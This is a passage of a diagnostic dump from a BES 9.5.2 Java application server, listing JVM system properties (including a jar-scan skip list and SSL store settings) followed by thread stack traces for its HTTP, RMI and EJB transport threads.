com.bes.enterprise.web.util.scan.StandardJarScanFilter.jarsToSkip: bes-server-jpa-integration,bes-jdbcra,org.codehaus.woodstox.stax2-api,bes-web-glue,org.metatype.sxc.sxc-jaxb-core,commons-lang,besmq-ra,bes-webapp-compressor,derbyclient,bes-ejb-glue,bes-deployment,org.apache.xbean.xbean-reflect,bes-admin-command,org.apache.johnzon.johnzon,org.apache.openwebbeans.openwebbeans-ee-common,bes-connector-runtime,org.apache.commons.commons-codec,bes-ee-loader,org.codehaus.woodstox.woodstox-core-asl,javaee,javaee-api-endorsed,bes-config-remote-adapter,bes-descriptor,bes-server-internal,bes-logger,bes-webtier-util,bes-webtier-coyote,javax.persistence,bes-webtier-jsp-api,bes-gmcert,bes-ee-integration,bes-engine,bootstrap,bes-jdbc-fastcp,bes-patch,commons-codec,org.apache.bval-core,org.mozilla.rhino,bes-launcher,bes-server-api,org.apache.bval-jsr,xmpcore-,bes-server-jee-accessors,commons-beanutils,org.apache.myfaces.core.myfaces-api,org.apache.openwebbeans.openwebbeans-jsf,org.objectweb.howl.howl,bes-webtier-servlet-api,besmq-mgmt,org.apache.xbean.xbean-naming,bes-server-loader,org.apache.commons.commons-cli,org.apache.geronimo.specs.geronimo-osgi-locator,bes-distributed-session-core,org.apache.openwebbeans.openwebbeans-web,bes-webtier-jasper,bes-config-remote,bes-gmssl-adapter,org.apache.commons.commons-pool2,bes-config-serverbeans,bes-server-quartz-shade,org.apache.xbean.xbean-finder-shaded,bes-ee-myfaces-connector,commons-dbcp,commons-io,bes-server-client,bes-server-http,org.apache.openwebbeans.openwebbeans-ejb,org.codehaus.swizzle.swizzle-stream,bes-monitor,derby,commons-logging,bes-server-ejbd,bes-deployment-common,bes-config-parser,metadata-extractor,org.metatype.sxc.sxc-runtime,bes-logger-adapter,org.hsqldb.hsqldb,org.apache.commons.commons-lang3,commons-collections,bes-jmx-remote,bes-cli-command,bes-command-api,bes-connector-transaction,org.eclipse.jdt.ecj,commons-digester,bes-server-core,bes-api,activation,commons-fileupload,org.apache.openwebbeans.openwebbeans-el22,besmq-client,org.eclipse.persistence.eclipselink,bes-ee-common,bes-server-javaagent,com.sun.xml.bind.jaxb,org.apache.openwebbeans.openwebbeans-impl,bes-license,org.apache.xbean.xbean-bundleutils,org.apache.commons.commons-logging,javax.mail,org.apache.openwebbeans.openwebbeans-spi,bes-engine-ha,org.slf4j.slf4j-jdk14,org.apache.commons.commons-collections,org.apache.openwebbeans.openwebbeans-ee,org.ow2.asm.asm-all,besmq-common,bes-websocket-api,org.apache.commons.commons-beanutils-core,org.apache.xbean.xbean-asm5-shaded,ant,commons-httpclient,bes-webtier-el-api,bes-server-jee,mbean-annotation-api,bes-gmssl,bes-ee-mq-connector,bes-common-util,bes-server-rest,org.apache.commons.commons-digester,bes-websocket
|
||||
java.vm.specification.version: 1.8
|
||||
sun.cpu.endian: little
|
||||
sun.os.patch.level: unknown
|
||||
java.awt.headless: true
|
||||
java.io.tmpdir: /tmp
|
||||
java.vendor.url.bug: http://bugreport.sun.com/bugreport/
|
||||
server.loader:
|
||||
os.arch: amd64
|
||||
java.awt.graphicsenv: sun.awt.X11GraphicsEnvironment
|
||||
bes.version: 9.5.2
|
||||
com.bes.enterprise.embedder.source: ServerListener
|
||||
java.ext.dirs: /usr/local/openjdk-8/lib/ext:/usr/local/openjdk-8/jre/lib/ext:/opt/bes/lib/ext:/usr/local/openjdk-8/jre/lib/ext:/usr/java/packages/lib/ext
|
||||
user.dir: /opt/bes/conf
|
||||
com.bes.enterprise.log.async.logger: true
|
||||
line.separator:
|
||||
|
||||
java.vm.name: OpenJDK 64-Bit Server VM
|
||||
com.bes.enterprise.provider.default: com.bes.enterprise
|
||||
com.bes.enterprise.web.util.buf.StringCache.byte.enabled: true
|
||||
file.encoding: UTF-8
|
||||
ANTLR_USE_DIRECT_CLASS_LOADING: true
|
||||
com.bes.enterprise.ejb.configurator: com.bes.enterprise.ejb.BESEjbConfigurationFactory
|
||||
com.bes.javaRoot: /usr/local/openjdk-8
|
||||
java.specification.version: 1.8
|
||||
javax.net.ssl.trustStore: /opt/bes/conf/security/cacerts.jks
|
||||
javax.net.ssl.keyStorePassword: changeit
|
||||
|
||||
===========================================
|
||||
|
||||
ThreadStacks:
|
||||
"RMI Scheduler(0)" #95 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@4583538c
|
||||
java.lang.Thread.State: TIMED_WAITING
|
||||
at sun.misc.Unsafe.park(Native Method)
|
||||
at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215)
|
||||
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078)
|
||||
at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1093)
|
||||
at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809)
|
||||
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
|
||||
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
|
||||
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
||||
at java.lang.Thread.run(Thread.java:750)
|
||||
|
||||
"Spark-Acceptor" #83 [RUNNABLE]
|
||||
java.lang.Thread.State: RUNNABLE
|
||||
at java.net.PlainSocketImpl.socketAccept(Native Method)
|
||||
at java.net.AbstractPlainSocketImpl.accept(AbstractPlainSocketImpl.java:409)
|
||||
at java.net.ServerSocket.implAccept(ServerSocket.java:560)
|
||||
at java.net.ServerSocket.accept(ServerSocket.java:528)
|
||||
at com.bes.ejb.spark.tcp.transport.AcceptorThread.a(AcceptorThread.java:274)
|
||||
at com.bes.ejb.spark.tcp.transport.AcceptorThread.startEndpoint(AcceptorThread.java:423)
|
||||
at com.bes.ejb.spark.tcp.transport.AcceptorThread.run(AcceptorThread.java:508)
|
||||
|
||||
"AcceptorThread-8080-1" #77 daemon [RUNNABLE]
|
||||
java.lang.Thread.State: RUNNABLE
|
||||
at sun.nio.ch.ServerSocketChannelImpl.accept0(Native Method)
|
||||
at sun.nio.ch.ServerSocketChannelImpl.accept(ServerSocketChannelImpl.java:421)
|
||||
at sun.nio.ch.ServerSocketChannelImpl.accept(ServerSocketChannelImpl.java:249)
|
||||
at com.bes.enterprise.web.util.net.NioEndpoint$Acceptor.run(NioEndpoint.java:500)
|
||||
at java.lang.Thread.run(Thread.java:750)
|
||||
|
||||
"httpWorkerThread-1900-2" #62 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@5f273ffc
|
||||
java.lang.Thread.State: WAITING
|
||||
at sun.misc.Unsafe.park(Native Method)
|
||||
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
|
||||
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
|
||||
at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
|
||||
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:99)
|
||||
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:27)
|
||||
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
|
||||
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
|
||||
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
||||
at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:57)
|
||||
at java.lang.Thread.run(Thread.java:750)
|
||||
|
||||
"SelectorReaderThread-1900-1" #73 daemon [RUNNABLE]
|
||||
java.lang.Thread.State: RUNNABLE
|
||||
at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method)
|
||||
at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269)
|
||||
at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93)
|
||||
at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86)
|
||||
at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97)
|
||||
at com.bes.enterprise.web.util.net.NioEndpoint$Poller.run(NioEndpoint.java:892)
|
||||
at java.lang.Thread.run(Thread.java:750)
|
||||
|
||||
"jmsra-WorkerThread-3" #55 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@6908709b
|
||||
java.lang.Thread.State: WAITING
|
||||
at sun.misc.Unsafe.park(Native Method)
|
||||
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
|
||||
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
|
||||
at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
|
||||
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:99)
|
||||
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:27)
|
||||
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
|
||||
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
|
||||
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
||||
at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:57)
|
||||
at java.lang.Thread.run(Thread.java:750)
|
||||
|
||||
"AcceptorThread-1900-1" #74 daemon [RUNNABLE]
|
||||
java.lang.Thread.State: RUNNABLE
|
||||
at sun.nio.ch.ServerSocketChannelImpl.accept0(Native Method)
|
||||
at sun.nio.ch.ServerSocketChannelImpl.accept(ServerSocketChannelImpl.java:421)
|
||||
at sun.nio.ch.ServerSocketChannelImpl.accept(ServerSocketChannelImpl.java:249)
|
||||
at com.bes.enterprise.web.util.net.NioEndpoint$Acceptor.run(NioEndpoint.java:500)
|
||||
at java.lang.Thread.run(Thread.java:750)
|
||||
|
||||
"KeepAliveTimer" #58 daemon [TIMED_WAITING] on java.util.TaskQueue@321edd13
|
||||
java.lang.Thread.State: TIMED_WAITING
|
||||
at java.lang.Object.wait(Native Method)
|
||||
at java.util.TimerThread.mainLoop(Timer.java:552)
|
||||
at java.util.TimerThread.run(Timer.java:505)
|
||||
|
||||
"RMI Reaper" #93 [WAITING] on java.lang.ref.ReferenceQueue$Lock@6d5ef7ef
|
||||
java.lang.Thread.State: WAITING
|
||||
at java.lang.Object.wait(Native Method)
|
||||
at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:144)
|
||||
at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:165)
|
||||
at sun.rmi.transport.ObjectTable$Reaper.run(ObjectTable.java:351)
|
||||
at java.lang.Thread.run(Thread.java:750)
|
||||
|
||||
"httpWorkerThread-1900-3" #63 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@5f273ffc
|
||||
java.lang.Thread.State: WAITING
|
||||
at sun.misc.Unsafe.park(Native Method)
|
||||
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
|
||||
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
|
||||
at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
|
||||
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:99)
|
||||
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:27)
|
||||
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
|
||||
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
|
||||
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
||||
at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:57)
|
||||
at java.lang.Thread.run(Thread.java:750)
|
||||
|
||||
"httpWorkerThread-8080-8" #72 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@b60fd67
|
||||
java.lang.Thread.State: WAITING
|
||||
at sun.misc.Unsafe.park(Native Method)
|
||||
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
|
||||
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
|
||||
at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
|
||||
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:99)
|
||||
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:27)
|
||||
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
|
||||
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
|
||||
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
||||
at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:57)
|
||||
at java.lang.Thread.run(Thread.java:750)
|
||||
|
||||
"AsyncTimeoutThread-8080" #78 daemon [TIMED_WAITING]
|
||||
java.lang.Thread.State: TIMED_WAITING
|
||||
at java.lang.Thread.sleep(Native Method)
|
||||
at com.bes.enterprise.web.crane.AbstractProtocol$AsyncTimeout.run(AbstractProtocol.java:1161)
|
||||
at java.lang.Thread.run(Thread.java:750)
|
||||
|
||||
"httpWorkerThread-8080-1" #65 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@b60fd67
|
||||
java.lang.Thread.State: WAITING
|
||||
at sun.misc.Unsafe.park(Native Method)
|
||||
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
|
||||
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
|
||||
at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
|
||||
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:99)
|
||||
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:27)
|
||||
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
|
||||
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
|
||||
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
||||
at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:57)
|
||||
at java.lang.Thread.run(Thread.java:750)
|
||||
|
||||
"main" #1 [WAITING] on com.bes.enterprise.server.builder.BesWebModule@2146c838
|
||||
java.lang.Thread.State: WAITING
|
||||
at java.lang.Object.wait(Native Method)
|
||||
at java.lang.Object.wait(Object.java:502)
|
||||
at com.bes.enterprise.server.builder.BesWebModule.await(BesWebModule.java:268)
|
||||
at com.bes.enterprise.server.builder.BesWebModule.awaitForShutdown(BesWebModule.java:233)
|
||||
at com.bes.enterprise.server.builder.BesWebModule.start(BesWebModule.java:224)
|
||||
at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
|
||||
at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
|
||||
at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
|
||||
at java.lang.reflect.Method.invoke(Method.java:498)
|
||||
at com.bes.enterprise.appserver.startup.Bootstrap.start(Bootstrap.java:434)
|
||||
at com.bes.enterprise.appserver.startup.Bootstrap.main(Bootstrap.java:565)
|
||||
at com.bes.enterprise.startup.ASMain.main(ASMain.java:27)
|
||||
|
||||
"jmsra-WorkerThread-1" #53 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@6908709b
|
||||
java.lang.Thread.State: WAITING
|
||||
at sun.misc.Unsafe.park(Native Method)
|
||||
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
|
||||
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
|
||||
at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
|
||||
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:99)
|
||||
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:27)
|
||||
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
|
||||
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
|
||||
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
||||
at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:57)
|
||||
at java.lang.Thread.run(Thread.java:750)
|
||||
|
||||
"Spark_6" #90 [TIMED_WAITING] on com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl@65747f46
|
||||
java.lang.Thread.State: TIMED_WAITING
|
||||
at java.lang.Object.wait(Native Method)
|
||||
at com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl.getTask(WorkQueueImpl.java:202)
|
||||
at com.bes.ejb.spark.tcp.threadpool.WorkThreadImpl.run(WorkThreadImpl.java:59)
|
||||
|
||||
"Spark_7" #91 [TIMED_WAITING] on com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl@65747f46
|
||||
java.lang.Thread.State: TIMED_WAITING
|
||||
at java.lang.Object.wait(Native Method)
|
||||
at com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl.getTask(WorkQueueImpl.java:202)
|
||||
at com.bes.ejb.spark.tcp.threadpool.WorkThreadImpl.run(WorkThreadImpl.java:59)
|
||||
|
||||
"ContainerBackgroundProcessor[WebEngine[com.bes.appserv].VirtualHost[__admin].DefaultContext[/sysapp]]" #81 daemon [TIMED_WAITING]
|
||||
java.lang.Thread.State: TIMED_WAITING
|
||||
at java.lang.Thread.sleep(Native Method)
|
||||
at com.bes.enterprise.webtier.core.ContainerBase$ContainerBackgroundProcessor.run(ContainerBase.java:1346)
|
||||
at java.lang.Thread.run(Thread.java:750)
|
||||
|
||||
"bes-deployment-scheduled-executor-thread." #82 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7f0f0d88
|
||||
java.lang.Thread.State: TIMED_WAITING
|
||||
at sun.misc.Unsafe.park(Native Method)
|
||||
at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215)
|
||||
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078)
|
||||
at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1093)
|
||||
at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809)
|
||||
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
|
||||
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
|
||||
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
||||
at java.lang.Thread.run(Thread.java:750)
|
||||
|
||||
"httpWorkerThread-8080-5" #69 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@b60fd67
|
||||
java.lang.Thread.State: WAITING
|
||||
at sun.misc.Unsafe.park(Native Method)
|
||||
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
|
||||
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
|
||||
at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
|
||||
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:99)
|
||||
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:27)
|
||||
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
|
||||
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
|
||||
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
||||
at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:57)
|
||||
at java.lang.Thread.run(Thread.java:750)
|
||||
|
||||
"RMI TCP Connection(2)-172.17.0.3" #97 daemon [RUNNABLE]
|
||||
java.lang.Thread.State: RUNNABLE
|
||||
at java.net.SocketInputStream.socketRead0(Native Method)
|
||||
at java.net.SocketInputStream.socketRead(SocketInputStream.java:116)
|
||||
at java.net.SocketInputStream.read(SocketInputStream.java:171)
|
||||
at java.net.SocketInputStream.read(SocketInputStream.java:141)
|
||||
at java.io.BufferedInputStream.fill(BufferedInputStream.java:246)
|
||||
at java.io.BufferedInputStream.read(BufferedInputStream.java:265)
|
||||
at java.io.FilterInputStream.read(FilterInputStream.java:83)
|
||||
at sun.rmi.transport.tcp.TCPTransport.handleMessages(TCPTransport.java:555)
|
||||
at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run0(TCPTransport.java:834)
|
||||
at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.lambda$run$0(TCPTransport.java:688)
|
||||
at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$24/1879938894.run(Unknown Source)
|
||||
at java.security.AccessController.doPrivileged(Native Method)
|
||||
at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run(TCPTransport.java:687)
|
||||
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149)
|
||||
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
||||
at java.lang.Thread.run(Thread.java:750)
|
||||
|
||||
"Spark_5" #89 [TIMED_WAITING] on com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl@65747f46
|
||||
java.lang.Thread.State: TIMED_WAITING
|
||||
at java.lang.Object.wait(Native Method)
|
||||
at com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl.getTask(WorkQueueImpl.java:202)
|
||||
at com.bes.ejb.spark.tcp.threadpool.WorkThreadImpl.run(WorkThreadImpl.java:59)
|
||||
|
||||
"RetryTimer" #52 daemon [WAITING] on java.util.TaskQueue@73084ccb
|
||||
java.lang.Thread.State: WAITING
|
||||
at java.lang.Object.wait(Native Method)
|
||||
at java.lang.Object.wait(Object.java:502)
|
||||
at java.util.TimerThread.mainLoop(Timer.java:526)
|
||||
at java.util.TimerThread.run(Timer.java:505)
|
||||
|
||||
"httpWorkerThread-8080-3" #67 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@b60fd67
|
||||
java.lang.Thread.State: WAITING
|
||||
at sun.misc.Unsafe.park(Native Method)
|
||||
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
|
||||
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
|
||||
at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
|
||||
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:99)
|
||||
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:27)
|
||||
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
|
||||
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
|
||||
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
||||
at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:57)
|
||||
at java.lang.Thread.run(Thread.java:750)
|
||||
|
||||
"httpWorkerThread-8080-7" #71 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@b60fd67
|
||||
java.lang.Thread.State: WAITING
|
||||
at sun.misc.Unsafe.park(Native Method)
|
||||
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
|
||||
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
|
||||
at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
|
||||
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:99)
|
||||
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:27)
|
||||
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
|
||||
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
|
||||
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
||||
at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:57)
|
||||
at java.lang.Thread.run(Thread.java:750)
|
||||
|
||||
"RMI TCP Accept-6600" #92 daemon [RUNNABLE]
|
||||
java.lang.Thread.State: RUNNABLE
|
||||
at java.net.PlainSocketImpl.socketAccept(Native Method)
|
||||
at java.net.AbstractPlainSocketImpl.accept(AbstractPlainSocketImpl.java:409)
|
||||
at java.net.ServerSocket.implAccept(ServerSocket.java:560)
|
||||
at java.net.ServerSocket.accept(ServerSocket.java:528)
|
||||
at sun.rmi.transport.tcp.TCPTransport$AcceptLoop.executeAcceptLoop(TCPTransport.java:405)
|
||||
at sun.rmi.transport.tcp.TCPTransport$AcceptLoop.run(TCPTransport.java:377)
|
||||
at java.lang.Thread.run(Thread.java:750)
|
||||
|
||||
"Spark_0" #84 [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@64185d9a
|
||||
java.lang.Thread.State: TIMED_WAITING
|
||||
at sun.misc.Unsafe.park(Native Method)
|
||||
at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215)
|
||||
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2163)
|
||||
at com.bes.ejb.spark.tcp.threadpool.PreSelector.execute(PreSelector.java:120)
|
||||
at com.bes.ejb.spark.tcp.threadpool.WorkThreadImpl.run(WorkThreadImpl.java:68)
|
||||
|
||||
"Spark_1" #85 [TIMED_WAITING] on com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl@65747f46
|
||||
java.lang.Thread.State: TIMED_WAITING
|
||||
at java.lang.Object.wait(Native Method)
|
||||
at com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl.getTask(WorkQueueImpl.java:202)
|
||||
at com.bes.ejb.spark.tcp.threadpool.WorkThreadImpl.run(WorkThreadImpl.java:59)
|
||||
|
||||
"Signal Dispatcher" #4 daemon [RUNNABLE]
|
||||
java.lang.Thread.State: RUNNABLE
|
||||
|
||||
"Finalizer" #3 daemon [WAITING] on java.lang.ref.ReferenceQueue$Lock@22d08010
|
||||
java.lang.Thread.State: WAITING
|
||||
at java.lang.Object.wait(Native Method)
|
||||
at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:144)
|
||||
at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:165)
|
||||
at java.lang.ref.Finalizer$FinalizerThread.run(Finalizer.java:216)
|
||||
|
||||
"ContainerBackgroundProcessor[WebEngine[com.bes.appserv].VirtualHost[__admin].DefaultContext[]]" #80 daemon [TIMED_WAITING]
|
||||
java.lang.Thread.State: TIMED_WAITING
|
||||
at java.lang.Thread.sleep(Native Method)
|
||||
at com.bes.enterprise.webtier.core.ContainerBase$ContainerBackgroundProcessor.run(ContainerBase.java:1346)
|
||||
at java.lang.Thread.run(Thread.java:750)
|
||||
|
||||
"Spark_4" #88 [TIMED_WAITING] on com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl@65747f46
|
||||
java.lang.Thread.State: TIMED_WAITING
|
||||
at java.lang.Object.wait(Native Method)
|
||||
at com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl.getTask(WorkQueueImpl.java:202)
|
||||
at com.bes.ejb.spark.tcp.threadpool.WorkThreadImpl.run(WorkThreadImpl.java:59)
|
||||
|
||||
"httpWorkerThread-8080-2" #66 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@b60fd67
|
||||
java.lang.Thread.State: WAITING
|
||||
at sun.misc.Unsafe.park(Native Method)
|
||||
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
|
||||
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
|
||||
at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
|
||||
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:99)
|
||||
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:27)
|
||||
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
|
||||
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
|
||||
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
||||
at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:57)
|
||||
at java.lang.Thread.run(Thread.java:750)
|
||||
|
||||
"httpWorkerThread-1900-1" #61 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@5f273ffc
|
||||
